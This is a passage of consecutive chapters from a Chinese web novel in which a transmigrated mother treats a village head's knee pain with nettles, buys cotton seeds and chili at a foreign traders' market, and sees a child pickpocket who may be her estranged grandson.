“什、什么法子？只要能止疼……试试，快试试！” 林禾看向李大夫，眼神清明而肯定，“李大夫，这法子虽土，但见效快。若信得过我，让我一试？” 李大夫看着林禾镇定自若的神情，又看看张村长痛苦的模样，沉吟一瞬，终是点了点头。 “也好，便试试，但你打算如何做？” 林禾得到准许，立刻行动。 她对张村长的儿子说，“劳烦这位小哥，帮老人家把裤腿挽到膝盖以上。” 年轻人连忙照做，露出张村长有些扭曲的膝盖。 林禾取出几片最大的荨麻叶，依旧用草席边缘垫着手以防被蛰。 林禾怕老人家挣扎，先打了个预防针，“老丈，忍一下，起初会有些刺痛，但过后会松快不少。” 张村长咬牙点头，闭紧了眼睛。 现在只要能缓解他的疼痛，要他做什么都愿意！ 别说只是有点痛了，再痛能通得过这风湿？ 林禾见他同意，手腕用力，看准那瘦得突兀的膝盖，用荨麻叶面快速而均匀地拍打下去！ “啪！啪！啪！” 清脆的拍打声在药堂里响起，众人都屏息看着。 “呃啊！” 张村长猝不及防，痛得叫出声，身体猛地一颤。 那被荨麻蜇刺的感觉如火燎般尖锐猛烈。 他枯瘦的身体因这突如其来的刺激而剧烈地颤抖起来，额头上刚擦去的冷汗瞬间又冒了出来。 站在一旁紧盯着的老者儿子，眼见父亲痛苦更甚，脸色大变。 他想也没想就一个箭步冲上前，猛地一把推开林禾，怒声喝道。 “住手！你这妇人！对我爹做了什么？！看他疼成这样！” 林禾猝不及防被推得一个趔趄，幸好身后的沈大山眼疾手快扶住了她。 沈大山顿时也来了火气，挡在娘亲身前，对那年轻人怒目而视。 “你推我娘作甚！我们是在帮你爹！” “帮我爹？我看你们是在害他！” 年轻人气急，还要理论。 “住…住手！阿贵……” 就在这时，张守业村长却突然开口阻止，声音虽然还带着痛楚后的虚喘，却比之前多了几分力气。 他一边吸着气，一边努力抬手拉住儿子的衣袖，“别、别对这位娘子无礼……嘶……这、这法子……好像……好像真有用！” 众人闻言，皆是一愣，目光齐刷刷聚焦在张村长身上。 只见张村长紧皱的眉头不知何时已舒展了些许，他尝试着慢慢吸气，感受着膝盖处的变化。 那表面火辣辣的灼痛感依然鲜明，但奇异的是，在这层尖锐的刺激之下，原本那深嵌在骨头缝里的，如同钝锥子反复钻凿般的剧痛。 竟像是被这表面的烈性给震住搅散了似的，虽然并未完全消失，但那令人绝望的的疼痛却实实在在地减弱了大半，变成了一种可以忍受的酸胀。 他长长地吐出一口憋了许久的气，带着难以置信的语气，对儿子也是对李大夫说道。 “表面虽然疼，还火辣辣的，但里头那根要命的筋，像是……” 张守业疑惑了一瞬，“像是松开了些，倒让我能喘口气了。” 他甚至尝试着极其轻微地动了动右腿，虽然依旧僵硬，但那动作带来的不再是撕心裂肺的痛苦。 张贵看着父亲虽然膝盖通红，但表情明显不再像刚才那样扭曲绝望。 第61章 胡商胡市 甚至还能说出完整的话来，顿时也傻眼了，脸上怒容转为错愕和羞愧。 张村长缓过劲来，带着歉意看向林禾。 “这位娘子，实在是对不住，犬子无状，冲撞您了，还请您千万别见怪。” 他又瞪了儿子一眼，“还不快给娘子赔不是！” 张贵这才彻底回过神，意识到自己误会了人，还动了手，顿时面红耳赤。 他连忙对着林禾躬身作揖，语气诚恳又带着窘迫：“这位大嫂，对不住！刚才是我太着急，误会您了！您大人有大量，千万别跟我一般见识！” 林禾整理了一下衣袖，并未真的动怒，只是平静道。 “关心则乱，小哥也是孝心所致，无妨。” 她看向张村长，“老人家感觉松快些了便好。这法子起初是难受些，但能应急。” 药堂里的其他人见状，顿时响起一片低低的议论声和赞叹声，先前那些怀疑、同情的目光，此刻全都变成了惊奇和佩服。 “竟真有如此效果？” “这妇人好厉害的手段！” “瞧着那叶子就吓人，没想到真能止痛！” 张贵更是感激不已，连连道谢，“多谢这位娘子！多谢您！” 林禾重新拿起放在一边的荨麻叶，照着张守业的膝盖拍打。 那表面的灼痛感奇异地开始压制深层的钻心疼痛。 张守业紧皱的眉头微微舒展了些，呻吟声低了下去。 林禾才停下动作。 只见张守业的膝盖皮肤已是一片通红，甚至有些地方微微肿起细小的疙瘩。 “你感觉如何？”李大夫急忙问道。 张村长缓缓睁开眼，长长舒了一口气，带着难以置信的语气：“能！能止住疼，真是奇了！” 李大夫闻言也上前再次为张村长诊脉，又仔细看了看他膝盖的情况，脸上惊奇之色更浓。 “脉象虽仍沉涩，但已无方才那般绷急欲绝之象！气血竟真的通畅了些许！妙啊！林娘子，你这土法，虽看似凶猛，实则蕴含至理，以烈性刺激引动气血，破其瘀阻！老夫今日算是开了眼界！” 李大夫感慨完毕，目光热切地转向林禾带来的荨麻草，“林娘子，这些荨麻草你打算如何处理？” 林禾笑道：“根茎我留着自家用法慢养，这些叶子和多余的根，本是想来问问您收不收。” “收！自然收！”李大夫立刻道。 “这般品相的新鲜荨麻，尤其是这根茎，药性足，正是合用之时。这些，我给你……” 他略一沉吟，给出了一个远超林禾预期的价格，“一起算三两银子，如何？” 这价格比寻常草药贵上不少，显然是包含了感谢和对其效果的认可。 林禾心中欢喜，面上却不显，只从容点头，“那就多谢李大夫了。” 她将荨麻叶和一部分根茎取出交给伙计。 李大夫一边让伙计付钱，一边嘱咐：“林娘子日后若再得了这新鲜的荨麻，务必先送来我春风堂，价钱好商量。” “一定。” 林禾爽快应下。 这算得上是一次愉快的交易。 揣着刚到手的三两银子，林禾心情更好了。 她带着沈大山离开春风堂，却没有立刻回家，而是拐向了城南专为胡商设立的胡市。 今日她在城门口一听胡市就来了精神。 胡商走南闯北，见过的东西多，换到的东西也多，甚至有可能换来后世才有的各种蔬果。 林禾一定要去一趟！ 胡市里气息混杂，充斥着香料、皮革、羊毛的特殊气味。 沈大山有些局促地紧跟着母亲，瞪大了眼睛看着那些高鼻深目、衣着迥异的胡商，以及摊位上那些他从未见过的稀奇货物。 他只觉得眼花缭乱。 林禾则目标明确，目光如炬般扫过一个个摊位，搜寻着记忆中能改善生活的宝贝。 很快，她在一个堆满彩色羊毛毯和粗麻布的胡人摊位前停下了脚步。 她的视线被摊子角落一小堆洁白柔软、蓬松异常的絮状物吸引。 这不是棉花嘛！ 好宝贝啊！ 居然就这样随意地丢在角落里。 “这个，怎么卖？” 林禾指着那堆棉花，用手比划着问那个裹着头巾、满脸络腮胡的胡商。 这东西不仅难处理，还没有羊毛好用，他卖了许久都没有卖出去，还以为要砸在手上了。 胡商显然没想到有人会要这个，脸上露出一抹诧异。 但很快，他眼中闪过一丝精明，伸出两根手指，又张开手掌，用蹩脚的汉话开口道：“五十文钱所有！” 意思是这一堆棉花一共五十文钱。 林禾皱眉，摇头，“太贵。” 她伸出食指，“二十五文。” 她知道胡市价格虚高，必须狠杀。 而且五十文钱都能买两斤肉了。 胡商立刻做出夸张的受伤表情，哇啦哇啦地摆手，表示绝不可能，又比划了一个四十文的手势。 沈大山在一旁看着，有点着急，小声对林禾说。 “娘，这东西看着软和，但咱们不知道该怎么用啊？还这么贵，要不还是算了吧。” 林禾没理会儿子的嘀咕，全神贯注地和胡商周旋。 她故意拉着沈大山作势要走，“大山，算了，太贵了，我们还是去看看别的吧。” 那胡商见客人要走，果然急了，连忙招手，嘴里喊着含糊的音节，最终比划了一个三十文的手势。 林禾这才停下脚步，脸上露出勉强接受的表情，“行吧，三十文就三十文。” 她示意沈大山掏钱。 就在沈大山数钱的功夫，林禾的目光无意中扫过摊位底下，一个半敞开的又沾着泥土的粗麻布袋里，似乎装着一些黑乎乎的小颗粒。 她心中一动，弯腰仔细一看。 果然是棉花种子！ 很多还带着没清理干净的棉絮，显然是轧花后剩下的，胡商大概根本没把它们当回事，随意丢在一旁。 林禾心头狂喜，但面上却不露分毫。 她直起身，付了三十五文钱拿起那包棉花后，状似随意地指了指那袋种子，用尽量简单的词问。 “这个，有泥土？没用的？要扔？” 那胡商顺着她指的方向看去，见是那袋废料，随意地摆摆手，又点了点头，意思确实是没用的东西。 第62章 棉花和辣椒 林禾立刻顺杆往上爬，用手比划着一个很小的分量，又指指自己刚买的棉花，再指指那袋种子。 “我买了你的棉花，这个没用的黑籽能不能送我一点，我拿回去看看？” 林禾脸上带着纯粹好奇的表情，仿佛只是想要点奇怪的东西玩。 胡商看了看那袋在他看来毫无价值的种子，又看了看刚刚做成生意的顾客，觉得这点“垃圾”无足轻重。 还能做个顺水人情，便很豪爽地一挥手，叽里咕噜几句，意思是让林禾自己拿，甚至示意她可以多拿点。 林禾强压住激动，没有表现出过于急切。 她只是微笑着，从那个脏兮兮的袋子里捧出了大约一小碗量的棉花种子，用一块旧布仔细包好，连连对胡商道谢。 对她来说，这些种子的价值远胜于那包棉花。 离开布摊，沈大山抱着棉花，疑惑地问：“娘，你要那些黑乎乎的小疙瘩干啥？真是泥土吧？” 林禾小心地将种子收好，低声道。 “傻儿子，这可是好东西，是这棉花的种子！有了它，咱们以后自己就能种出棉花来，哪还用花钱买？冬天穿用棉花做的衣裳，比麻布暖了不知多少倍！” 林禾心中的激动难以言表。 要知道，棉花不是每个时代都有的。 她一开始得知大启只有麻布时，心中已经不抱希望了。 没想到能在胡市上碰见。 这帮胡人常年在马背上生活，即便放开和中原的限制后，有些专门做生意，不再放牧。 但在商路上风吹日晒，棉布依旧不耐用，还容易脏，倒不如直接用羊毛！ 所以这帮胡人不喜欢棉布，但林禾喜欢啊！ 冬天用棉花打两床棉被，铺在身下，盖在身上，不敢想有多暖和！ “这小东西这么管用嘞！？” 沈大山抱棉花的动作都更小心了些，看着那包小小的种子，眼神立刻变得不一样了，仿佛看着什么金疙瘩。 他摸着手中的棉花，有些不敢使劲儿。 这长得和天上的云差不多，摸着也软和啊！ “咱们再继续往里头走走，说不定还能发现其他宝贝！” 林禾彻底来了兴趣，也不怕这一路上人挤人，铆足了劲儿往前挤。 来胡市的人不少，但大多数都只是来看个热闹，实际上买东西的人很少。 一是平日里的日子没什么有意思的事情，好不容易有这么大的集市，不买东西便是逛一逛都算赚到了。 二是这些胡人卖的东西，大多稀奇古怪，不是长得古怪就是用处古怪，中原很少有人会用这些东西，看个新鲜但舍不得钱买回去。 “那果子红艳艳的挂在家里是喜庆，但过日子哪能买这些中看不中用的东西？” “不说是那个也能做菜吗？和茱萸一个用处……” “和茱萸一个用处，那茱萸不比他卖的便宜？山上一大堆，直接采就是了，他还要我们五文钱一串？疯魔了不成？” “我不是瞧着新鲜吗？” “新鲜能当饭吃啊！赶紧回去了！” 男子有些不耐烦，催促着妇人。 林禾听着二人的对话，立刻改了方向，朝着二人刚离开的摊位上走。 “娘，你去哪儿啊？等等我！” 沈大山个头大，在人群中行走有些困难，不像林禾这般灵活自如。 他被卡在原地，但好在他长得高，看得远，能够看见林禾走远的方向。 林禾在人群中往前走，嗅到空气里辛辣的香气，她就知道自己走的方向没错。 果不其然，她找到了一个香料摊。 她一眼就盯上了那些串成串，红得耀眼的干辣椒，尤其是其中一种果尖朝天又簇拥生长的小辣椒。 没想到还有好几个品种。 林禾扫了一眼摊位前摆放的各种香料，一眼就从中看出了放在右上角的辣椒粉。 怪不得还没到摊位前就能闻到那么浓烈的辣椒味，原来不止有干辣椒，还有磨好的干辣椒粉！ 空气中都充斥着辣椒粉的味道，甚至盖过了其他香料的香味。 胡商不以为然，悠闲地整理着摊位上其他的香料。 但过路的人就有些受不了，不少闻不惯辣椒刺激性味道的人，都在走过这个摊位时步履匆匆。 沈大山靠近摊位时，周围顿时少了许多人，他几步就走到了林禾身边。 “娘——哈啾！哈啾！哈啾！！” 沈大山连着打了三个喷嚏，揉着鼻子嘟囔道：“这个摊位是卖啥的？好呛人啊！” “要什么买？” 胡商被沈大山的喷嚏吸引，见摊位上站着人，立刻靠过来用不太娴熟的汉话热情招呼。 沈大山连连摆手，“不是我买，是我娘要买。” 他还怕胡商听不懂，指着林禾又指了指胡商。 “噢噢！她有钱！”胡商直白的话，倒也没说错。 “这个多少钱？”林禾目标明确，指着角落里那一袋辣椒粉开口，说完还比了一个全部都要的手势，“全部都要能不能少一点？” 这句话胡商听懂了，立刻摆手，“全部四十五文！不少！” 林禾沉默一瞬，回想起刚刚那两个人的对话，一袋子二十五文确实不算贵了。 但胡商见林禾沉默，以为她嫌贵，主动又操着一口蹩脚的汉话开口解释。 “这个好！做菜煮汤也好！”那胡商说着，还做了一个夸张的往外抱的动作，“很多才得到一点点！是好东西！” 林禾知道他的意思，干辣椒粉本来就费辣椒，只是她没想到胡商已经将辣椒开放到这个程度。 不过也是，新鲜辣椒不方便携带，他们长期在路上行走，干货的保存上确实颇有心得。 “我全部都买的话，你能送我两串这个吗？” 林禾指着挂在一边的朝天椒和长辣椒。 “行！四十五文不能少的！”胡商生怕林禾反悔，赶紧将那一整袋辣椒粉装好，示意林禾自己取两串下来。 林禾一边取辣椒串一边开口：“大山，给钱！” 沈大山一下子给出去四十五文，他还有些舍不得。 空下去的钱袋子让他肉疼。 林禾却截然相反，她小心翼翼将辣椒粉和棉花种子放进竹筐里，生怕弄坏了。 这一趟进城，收获远超预期。 第63章 集市扒手 心情大好的林禾，带着沈大山继续在集市里逛。 从入口走到另外一端的出口时，沈大山的竹筐里装满了东西，林禾的手上也提了不少。 二人大包小包的提着，一时间吸引了不少人的注意力。 本来不该买这么多东西，奈何这些都是家里紧缺的，不买不行。 这一趟下来，花了快二两银子，沈大山心疼坏了。 他哪里见过这样花钱如流水的架势，“娘，咱们啥时候回去啊？” 沈大山生怕林禾又要买东西，弱弱地开口问。 “时候还早，咱们去一趟李大夫那边歇歇脚，再去买两袋米，等日落前要关城门再走。” 林禾低头看了看手中的东西，这会儿若是出城，太招摇了。 恐怕刚出城门就会被人盯上，太危险。 “娘，咱们已经买了两袋土豆，还要买米啊？要不还是算了吧？” 沈大山想劝一劝，他节省惯了，生怕钱花完就没了。 林禾无奈开口：“大山，咱们赚钱是为了什么？为了攒着吗？” “不是吗？”沈大山闻言有些迷茫，“钱攒着以后就不用担心吃不上饭了。” “那现在呢？”林禾看着他。 沈大山支支吾吾，说不出来。 他不知道该怎么说，但长久的生存焦虑一直困扰着他。 尤其是逃荒之后，他生怕再过上一顿饱顿顿饥的日子，所以尽可能地想多攒一些东西。 苦日子过惯了，寻常的日子也不敢过。 “大山，人活一辈子都是为了一口吃的，但当下若是过得太苦，往后的日子哪还有什么盼头呢？” 林禾的话突然点醒了沈大山，他眼中闪着难以言表的诧异。 “那钱用光了怎么办？” “那就想法子再赚回来，一辈子多长啊大山，只要咱们好好活着，心气儿不散，去山上刨些东西，地里种些东西，都能换到钱，运气好些赶上好时候，能赚到更多的钱。” 林禾从来不是一个沮丧的人。 无论是从前被调到深山老林里的岗位，还是莫名其妙来到这里，她都不会绝望。 只要不死，其他都是小事！ “心气不散……”沈大山喃喃重复着这句话，眼中流转的光彩绚丽夺目。 二人走到集市出口，人比在里面还多一些。 集市出口小，需要排队出去，人流量这么大，一下子就堵住了。 “人太多了，要看好咱们的东西。” 林禾看着身边越来越多的人，推推挤挤，甚至还有好几个贼眉鼠眼的人频繁路过身边。 一看便知不是什么好人。 “娘，你站在我前头。”沈大山不怕丢东西，就怕有些人心怀不轨，伤到林禾。 “嗯。”林禾刚挪了位置，就瞧见之前蹲在角落的一个小孩起身了。 那小孩瘦小，在拥挤的人群中完全能灵活走动，但走位明显是奔着另外一个带孩子的妇女去的。 那个妇女手上提着一大块新鲜的羊肉，篮子里还放着羊腿，这些都是在胡商手中买的。 那些胡商从化城赶了一群羊过来，一路上边卖边杀，能出得起钱的人都愿意买。 羊肉在南边的县本就难得，更何况还是胡商手中肥美的羊肉，更是难得。 到栗县时仅仅只剩下八只，林禾不仅买了羊肉更买了羊骨头回去炖汤喝。 那妇女正是在林禾前面买羊肉的女子。 瞧着衣着整洁，还能一口气买四斤羊肉和两只羊腿，家底应当是不差的。 林禾有预感，那小孩怕是个扒手！ 果然，林禾瞧见那小孩状似不经意撞在妇女身上，手飞快从妇女腰间闪过，将她的荷包取了下来。 那小孩很熟练，没有将荷包攥在手上，而是将荷包扔在地上，随后一脚踢向旁边。 旁边蹲着另外一个瘦削的男子，男子迅速捡起地上的荷包，揣进怀里，快步往集市里走，隐入人群中。 林禾亲眼目睹了这一幕，沈大山注意到林禾的眼神，却只看见了后半段。 “娘，刚刚那个男人……” 沈大山话未说完，林禾就听见一声惨叫。 “啊——放开我的手！好痛！” 是那个小孩被人抓住了。 “个奶奶的！你居然敢偷到老子头上！” 一个络腮胡壮汉，将小孩的手狠狠掐住，很明显能瞧出小孩的手已经呈现出不自然的扭曲。 “救命啊！宋叔，快来救我啊！” 小孩见势不妙，立刻开始大喊。 “还有同伙是吧！看来是个惯犯！”壮汉气愤不已，手下的力道越发大，“快将老子的钱交出来！不然，哼！” “啊——”小孩黢黑瘦削的脸上满是冷汗，手腕已经明显比刚刚更加扭曲。 那壮汉怒不可遏，见小孩死活不交还钱袋，另一只蒲扇般的大手高高扬起，眼看就要狠狠扇下。 周围人群发出一阵低呼，有的面露不忍，有的则愤慨地喊着“该打！”。 小孩吓得紧闭双眼，身体缩成一团，尖声哭嚎。 “宋叔！宋叔救命啊！” 然而，他期盼的救援并未到来。 在人群外围一个不起眼的角落，一个穿着半旧褂子，眼神精明的瘦削男人正冷眼瞧着这一切。 他非但没有上前，反而对着人群中另外两个更加矮小灵活的身影使了个眼色，嘴唇无声地动了动。 那两个小身影立刻会意，像泥鳅一样钻入因围观而更加拥挤混乱的人群中，手指悄无声息地探向那些被吸引了注意力的路人的腰间。 就在这时，之前那个买了羊肉的妇女也终于发现了不对劲，她一摸腰间，顿时脸色煞白，尖声叫起来。 “我的荷包！我的钱不见了！天杀的！谁偷了我的钱！” 她慌慌张原地转圈，篮子里的羊腿掉在地上也顾不上了。 她这一喊，如同投入油锅的一滴水，瞬间炸开了锅。 周围不少人下意识地也去摸自己的钱袋，不少人都大惊失色。 “哎！我的钱袋子呢？” “我的也不见了！” “还有我的！刚刚还在的！” 接二连三的惊呼声响起，人群中至少有四五个人都发现自己的钱财不翼而飞。 第64章 心中纠结 显然，那小孩只是个吸引注意力的幌子。 甚至可能是被推出来故意失手顶罪的弃子，真正的扒窃在他们注意力被吸引时，由其他同伙完成了。 人群中的人知道钱大概追不回来了，彻底愤怒，都大声嚷嚷着。 “报官！必须报官！” 不知谁喊了一声，立刻得到众人响应。 那抓住小孩的壮汉更是气得脸色铁青，揪着小孩那已经软塌塌的手腕，像拖死狗一样将他往外拖。 “走！去见官！看你那些同伙还怎么躲！” 混乱中，一行人推搡着、叫骂着，押着那不断哀嚎哭泣的小孩往集市外走，准备去县衙。 人群不可避免地涌过林禾和沈大山站着的出口方向。 沈大山护着母亲和买来的东西，紧贴着摊位边缘躲避人流。 当那被打得鼻青脸肿，涕泪横流的小孩被拖到他面前时，他下意识地瞥了一眼。 就这一眼，让沈大山浑身一震，如遭雷击。 那小孩虽然瘦脱了形，脸上又脏又肿，沾满了泪水和污泥。 但那双因恐惧而睁大的眼睛，那眉骨的形状，那依稀可辨的轮廓…… 竟与他记忆中二弟沈富贵那个调皮捣蛋的儿子沈虎子，有七八分相似！ 沈虎子？ 他怎么会在这里？ 还成了扒手？二弟呢？他不是带着家小进城谋生路了吗？ 难道…… 一连串的疑问和震惊如同冰水般浇灌而下，让沈大山瞬间手脚冰凉。 他想起逃荒路上的艰难，想起二弟沈富贵当初是如何不顾母亲病重，执意分走最后一点钱，要带着妻儿先一步离开。 美其名曰“进城找活路”，实则就是嫌弃他们是拖累，自私地跑了。 如今，竟在这里，以这种方式，可能见到了二弟的儿子？ 变成了一个正在行窃并被当场抓住，即将扭送官府的……小贼？ 沈大山的心猛地揪紧了。 一种复杂的情绪涌上心头，其中有对二弟一家可能遭遇不测的隐隐担忧，有对侄儿沦落至此的震惊与不忍。 但更多的，是一种被背叛和遗弃的寒意再次袭来的愤怒与悲哀。 他们当初那样艰难都挺过来了，甚至日子刚刚有了点起色，而二弟一家离开不过短短月余，居然将日子过成这样？ 难道这就是他们选择的路吗？ 他的目光死死盯着那个痛苦蜷缩的孩子，嘴唇嗫嚅着，想开口问点什么，却又不知从何问起，更怕得到那个最不堪的答案。 他的手不自觉地握紧了拳头，指节因用力而泛白。 那孩子似乎并未认出沈大山，或许是因为疼痛和恐惧已经占据了他全部心神，他只是哀哀地哭着，被愤怒的人群推搡着，渐渐远去。 周围的人群也跟着散去一部分，大多是去看热闹或者同样丢了钱想去官府讨个说法的。 集市出口暂时恢复了通畅，但方才那一场闹剧留下的骚动和议论仍在空气中弥漫。 沈大山依旧僵立在原地，望着那孩子消失的方向，眼神复杂，久久没有动弹。 方才买到新奇种子和物资的喜悦，早已被这意外插曲冲刷得干干净净，只剩下沉甸甸的疑虑和一丝难以言喻的心寒。 林禾随着人流走出去一段路之后，看见沈大山还愣愣地呆站在原地，挥手喊他也没反应。 林禾这才走过去拍他的肩膀。 “大山，愣着干什么？赶紧走啊！还得赶去春风堂放东西，再晚就来不及出城了！” “娘……”沈大山突然惊醒，眼底带着些错愕，但却不敢直视林禾的眼睛。 他不知道该不该和林禾说这件事情。 按照娘以往的性子，若是得知二弟他们一家在城里受苦，肯定会将他们一家接回来，到时候家中定然不再安宁。 三娘要被黄氏欺负，大妞二妞也要被虎子欺负，甚至可能一切都再回到从前。 沈大山犹豫了，他没有说出刚刚见到沈虎子的事情，而是随口扯了个谎。 “就是刚刚那个小孩，让人想起大妞二妞了，若是咱们当初进城，说不定也得受这样的苦。” 沈大山说话时，观察着林禾的表情，似乎在确定什么。 “这些小孩不是被丢下的就是被拐跑的，咱们即便带着大妞二妞进城，也会看顾好，不会发生这样的事情。” 林禾以为沈大山是看见那小孩的惨状，有感而发，还补了一句，“别想太多，大妞二妞好好在家，等着咱们回去呢！” “是！”沈大山面上故作轻松，但仍然掩盖不住面上的心事重重。 将心事写在脸上的沈大山丝毫没有察觉林禾略带探究的眼神。 林禾估摸着这小子心里藏着事，但现在也不是合适说话的时候，且等回去再说吧。 等到了春风堂，里面的伙计认得林禾，不用李大夫出面，在胡市买到的东西就顺利寄放在药铺里。 “林婶子，城门今日关得晚些，若是要置办的东西多，也可以慢慢来，不用太着急，咱们药铺晚上还会再开一会儿。” 伙计见林禾着急，多说了一嘴。 “成！我记下了。” 林禾笑着道谢，带着沈大山直奔城西的米铺。 米铺一律不议价，尽管排队的人多，但速度快。 长长的队伍，林禾排在最后面但也只等了一刻钟左右。 接待林禾的还是上次那个伙计，林禾买了二十斤米十斤面，伙计特意找了个竹筐过来。 “这个竹筐是我自己在家里编的，婶子您背回去就成，值不了几个钱！” 伙计就喜欢林禾这样爽快的客人，从不斤斤计较，一次性买的也多，他分到的钱也多。 和长久的生意比起来，这用旧了的竹筐根本不算什么！ 逛了一天，等林禾出城时，天色渐晚，热闹的城门口渐渐归于平静。 林禾和沈大山踩着关城门的时辰出城，人更加少。 即便二人都背着大竹筐，也没有多少人在意。 人人都赶着回家，步履匆匆。 林禾上山前确认身后没有人跟着才沿着最快山上的小路走。 这一路沈大山依旧沉默，甚至不如往日话多。 第65章 做出改变 林禾走在前面，身后突然传来一声重物落地的声音。 她回头一看，沈大山一脚踩空，整个人正倒在地上，装在竹筐里的米袋掉了出来，幸好绑得结实，里面的米才没有散落出来。 “嘶——” 沈大山起身时，发现右脚的脚踝传来刺痛。 “先坐下。”林禾把肩上的竹筐卸下来，让沈大山挽起裤腿。 果然右脚的脚踝肿了。 走这样的山路，最忌讳心不在焉，稍不留意就会踩空。 “大山，今日在集市你可是发现了什么？” 林禾之前不问，是想尝试让沈大山自己消化，但很显然，他消化不了，而且有越发纠结的趋势。 这就不得不问了。 “娘！”沈大山心虚极了，声音不自觉提高，“我什么都没发现！” “嗯？”林禾看见他这般反应，不打自招。 林禾轻叹一声，“大山，一家人要一起解决问题，独自一个人承担并不好。” “娘……我没碰见什么问题。”沈大山面露纠结，沉吟片刻，还是低着头不愿意说话。 林禾也没强求，“脚还能走吗？” “能……”沈大山想重新背起放在一边装米面的竹筐，但林禾却抢先一步拿走了那个竹筐。 林禾把更重的那个竹筐背在肩上，“你背另外一个。” 沈大山伸出去的手又收了回去，心中却泛起一丝波澜。 娘还是心疼我的……把轻的竹筐留给我。 沈大山看着林禾的背影，突然想通了，忍着脚上的疼快步上前。 “娘，我今日在胡市好像看见虎子了！” 沈大山说出这句话，下了很大的决心。 他知道，自己说出这句话，就意味着可能要接二弟一家回来。 但这次他愿意相信，也愿意赌一把，赌娘和之前不一样了！ 林禾闻言脚步停下，蹙眉看着沈大山，“那个被抓的扒手小孩？” “娘，您也看见了？” “没有，但今日咱们在胡市见过的不就是那个小孩吗？” 动静闹得那么大，沈大山从胡市出来之后就一直不对劲，她岂会猜不到？ “娘，您若是想接二弟他们一家回来，我明日就能去……” “不去，不接，不让他们回来。” 林禾接连三个否定，砸得沈大山不知所措。 “娘，您不是在说气话吧？” 沈大山小心翼翼地求证，但眼中已经带上些欣喜。 “不是，当初断亲的时候他没犹豫，我权当没他这个儿子，他们一家和我们没关系。” 林禾不是原主，她对沈富贵这一家白眼狼没有一点感情，自然不会让他们回来搅乱一家子的生活。 “大山，往后有什么事情，不必憋着，直说便是。” 林禾已经记不得这是第几次和他说这样的话。 沈大山在这个方面，还得和二妞好好学一学。 不过相比之前，他现在好歹能把憋在心里的话说出来，也是一种进步。 “娘，我记下了！” 沈大山将话说出来，压在胸口的石头终于被移开，连呼吸都顺畅了不少。 这次，他是真的将话听进去了。 “爹！奶奶！！” 还没看见二妞人，就先听见了她的声音。 透过月光，林禾瞧见在树丛中跳动的火光，定睛一看，二妞跑在前面，大妞提着灯在后面追。 等到了林禾跟前，大妞成熟稳重的小脸上带着几分怨气。 “奶奶，二妞总是这样乱跑！” 大妞慢慢也学会了告状。 “我替你教训她！”林禾接过大妞手中的灯，“我们罚二妞今天晚上少吃一个煎蛋。” “嗯。”大妞认同地点头。 二妞却在一边哀嚎，抱着林禾的胳膊求情，“奶奶，我错了，不要扣我的煎蛋，好不好？” “乱跑确实危险，这次我罚你是给你长个记性，下次记得好好走路。” 林禾没妥协，二妞换了策略，悄悄溜到大妞旁边。 “姐姐，一会儿煎蛋你分我一半呗！咱们俩个关系最好啦！” “我想想吧。” 大妞嘴上没答应，但其实她是个宠妹狂魔，寻常有什么好吃的都会分一半还多给二妞。 二妞也是知道大妞愿意才第一时间去找大妞。 林禾瞧了也只能摇头。 四人回到山洞，饭菜正好出锅，还冒着热气，尤其是刚煎好的鸭蛋，铺在陶碗里金黄焦脆。 林禾闻见香味就饿了，走了一日的疲惫也在坐下那一刻达到顶点。 不过一顿热乎的饭菜下肚，林禾身上的疲惫消除大半。 饭后沈大山去洗碗收拾灶台，王三娘帮着林禾一起清点今日带回来的东西。 “娘，这三根羊骨头这么大！咱们怎么吃啊？” 王三娘把羊骨头从竹筐里取出来时，眼里的新奇大过不会做的担忧。 她从前没出一直生活在村子里，很少有机会能见到羊肉，记忆里还是十岁左右，村子里的教书先生从镇上带回来一只羊腿。 当时整个村子里的人都闻见了香味，馋得她好几天都没能睡一个安稳觉。 梦里都是羊腿肉的滋味，第二日起床枕头上都是口水。 当时没吃上羊腿肉，现在有羊骨头啃也是一样的，反正都有肉味。 没看到竹筐底下垫着的羊肉，王三娘还以为只买了羊骨头。 当她把辣椒和棉花种子拿出来时，看见竹筐底下的羊肉，眼中的欣喜满得都快溢出来。 “娘！咱们还买了羊肉回来！” “嗯，明早我们蒸羊肉包子吃。”林禾从装白面的袋子里取出来一小坨面疙瘩。 “我特意找米铺的伙计要了个面引子，晚上揉好面，明早就能包。” 林禾馋大肉包已经馋了许久，奈何集市上的大肉包价格贵，肉还少，用料不实在。 她宁愿自己在家里做。 “成！那我先去把肉剁了。” 王三娘拎着羊肉直奔灶台。 林禾把辣椒粉和干辣椒挂在通风好的地方，免得发霉长虫。 棉花籽单独放在一处，至于棉花和买回来的麻布，林禾都卷在一起放在草席上。 米面沈大山接手归置在大陶罐中。 林禾看了一眼他的右脚，“脚消下去一些了吗？” “消下去不少，没事……还有些疼，估计明日不能下地。” 沈大山本来下意识想掩饰，但想起林禾的嘱咐，话到嘴边又改了一种说法。 第66章 蒸包子 林禾闻言，心中满意，“那明早你在家里擀皮儿，等我们回来蒸包子。” “成！” 沈大山连忙应下。 他虽然把握不好火候时间，但做这样的小事他还是没问题的。 夜色渐浓，六月初的夜晚，草丛的虫子开始活跃，起伏的虫鸣在山洞外响起。 天气渐热，林禾将堵在门口的茅草门半敞着。 前几天一到后半夜，她被闷出一身汗，摸黑起来将门拉开才能继续睡下。 今晚林禾算是学乖了。 晚上的山风吹进来，凉爽舒适。 林禾就在洞口的位置，将那一小疙瘩老面引子用温水化开，倒入新买的白面中，再加入少许清水和一点点盐。 她挽起袖子，双手用力揉按，手腕翻飞，直到将散乱的面粉揉成一个光滑饱满，软硬适中的大面团。 王三娘在一旁看着，眼里满是佩服。 林禾将面团放入陶盆，盖上湿布，置于尚有余温的灶台边沿，让它静静发酵。 临睡之前，王三娘又添了一把柴，小火继续煮着灶台上的羊骨头汤。 第二日，天刚蒙蒙亮，林禾就起身了。 她揭开湿布一看，面团果然发得极好，膨大了足足一倍，内部充满了蜂窝状的气孔，散发出诱人的酸香。 她兑入少许山泉水揉匀，从蓄水池舀出来的山泉水和碱水的效果差不多，能用来中和酸味。 王三娘听见动静也醒了，将隔着陶碗泡在水盆里保鲜的肉馅取出来放在灶台上。 林禾把肉馅拿了过去，往里加入切碎的葱白，又撒上一小撮从胡市买回来的香料粉。 “三娘，手边的菜籽油递过来给我。” 林禾喊了一声，接过油罐时，顺势舀入一小勺菜籽油在肉馅里。 撒上一点盐后，她用筷子顺着一个方向用力搅拌，直到肉馅上劲，变得黏稠润泽。 沈大山睡了一晚，他的脚踝消肿不少，但落地仍有些疼，只好拄着棍子起身。 林禾怕他多想，让他坐在石墩上，面前放好案板和擀面杖。 